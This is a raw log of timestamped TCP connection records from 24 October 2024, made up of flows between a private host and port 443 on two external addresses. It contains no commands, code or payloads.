Oct 24, 2024 22:09:31.009552956 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.009577990 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.009643078 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.009660006 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.010055065 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.010067940 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.010113001 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.010236025 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.010241985 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.011365891 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.011375904 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.011543989 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.012896061 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.012969971 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.013039112 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.013154984 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.013189077 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.013302088 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.013315916 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.015322924 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:31.211901903 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:31.212048054 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:31.212104082 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:31.220936060 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:31.220936060 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:31.220984936 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:31.221012115 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:31.318330050 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.318420887 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.318558931 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.318753958 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.318789005 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.739909887 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.740693092 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.740725994 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.742250919 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.742263079 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.744213104 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.744621992 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.744682074 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.745044947 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.745059967 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.745109081 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.745349884 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.745367050 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.745719910 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.745724916 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.780580997 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.780966043 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.781004906 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.781404018 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.781416893 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.826868057 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.827243090 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.827342987 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.827636957 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.827651978 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.870018959 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.870037079 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.870075941 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.870107889 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.870143890 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.870708942 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.870721102 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.870743990 CEST	49742	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.870748997 CEST	443	49742	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.873604059 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.873619080 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.873776913 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.873934031 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.873945951 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.876872063 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.876918077 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.877037048 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.877160072 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.877160072 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.877160072 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.877868891 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.877953053 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.878005028 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.878027916 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.878052950 CEST	49744	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.878065109 CEST	443	49744	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.879813910 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.879870892 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.879878998 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.879906893 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.879945040 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.879947901 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.880100965 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.880120993 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.880126953 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.880136967 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.911736012 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.911783934 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.911919117 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.911977053 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.912050009 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.912297010 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.912297010 CEST	49743	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.912341118 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.912369967 CEST	443	49743	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.915278912 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.915338039 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.915416002 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.915572882 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.915597916 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965178013 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965228081 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965310097 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.965339899 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965362072 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965384960 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.965413094 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.965607882 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.965622902 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.965637922 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.965642929 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.968508959 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.968559027 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.968619108 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.968738079 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.968755007 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.070738077 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.071049929 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.071085930 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.071679115 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.071949005 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.072040081 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.072137117 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.119327068 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.176754951 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.176769018 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316009045 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316036940 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316056967 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316116095 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.316169024 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316200972 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.316235065 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.316266060 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.317043066 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.317074060 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.602719069 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.603291035 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.603321075 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.605216026 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.605221987 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.622334003 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.622805119 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.622826099 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.623502016 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.623513937 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.623577118 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.624006033 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.624053001 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.624605894 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.624617100 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.685435057 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.685920000 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.686007023 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:32.686408043 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:32.686423063 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.087492943 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.087563038 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.087600946 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.087853909 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.087914944 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.087964058 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.089582920 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.089658976 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.089751005 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.090087891 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.090267897 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.090313911 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.093067884 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.094403982 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.094434977 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.094448090 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.094455004 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.096184969 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.096209049 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.096224070 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.096230984 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.098267078 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.098288059 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.099354029 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.099359989 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.099644899 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.099657059 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.099668980 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.099673986 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.101645947 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.101682901 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.101708889 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.101723909 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.108654022 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.108716011 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.108843088 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.109123945 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.109157085 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.111608028 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.111645937 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.111742973 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.112688065 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.112713099 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.112941027 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.113121986 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.113135099 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.114013910 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.114031076 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.114274025 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.114343882 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.114353895 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.114528894 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.114538908 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.228517056 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.228744984 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.228801966 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.229162931 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.229182005 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.229191065 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.229197025 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.237138033 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.237180948 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.237376928 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.237906933 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.237930059 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.843997002 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.844690084 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.844755888 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.845158100 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.845172882 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.848531008 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.848949909 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.848958969 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.849441051 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.849446058 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.859793901 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.860126972 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.860131979 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.860537052 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.860542059 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.977528095 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.977799892 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.977878094 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.977971077 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.977971077 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.978023052 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.978050947 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.978203058 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.978502989 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.978672028 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.979923010 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.979935884 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.983906984 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.984303951 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.984332085 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.984402895 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.985286951 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.985325098 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.985959053 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.985965014 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.986179113 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.986191034 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.987154961 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.987190008 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.987281084 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.987401962 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.987412930 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.997873068 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.998202085 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.998265982 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.998929024 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.998934984 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:33.998956919 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:33.998961926 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.001333952 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.001348019 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.001405001 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.001514912 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.001523018 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.003078938 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.003624916 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.003664970 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.004070997 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.004082918 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.119232893 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.119904995 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.119976997 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.136986971 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.137022972 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.141279936 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.141779900 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.141835928 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.152631044 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.152668953 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.152698994 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.152709007 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.175111055 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.175204039 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.175290108 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.184947968 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.184987068 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.185853004 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.185899019 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.185983896 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.186302900 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.186314106 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.717907906 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.722640038 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.722676992 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.723423004 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.723429918 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.734508991 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.735187054 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.735203028 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.736265898 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.736274958 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.867815018 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.867877960 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.868078947 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.868627071 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.868639946 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.868696928 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.868701935 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.873411894 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.873471975 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.873531103 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.873851061 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:34.873867035 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.928602934 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:34.930172920 CEST	49760	443	192.168.2.5	13.107.246.45
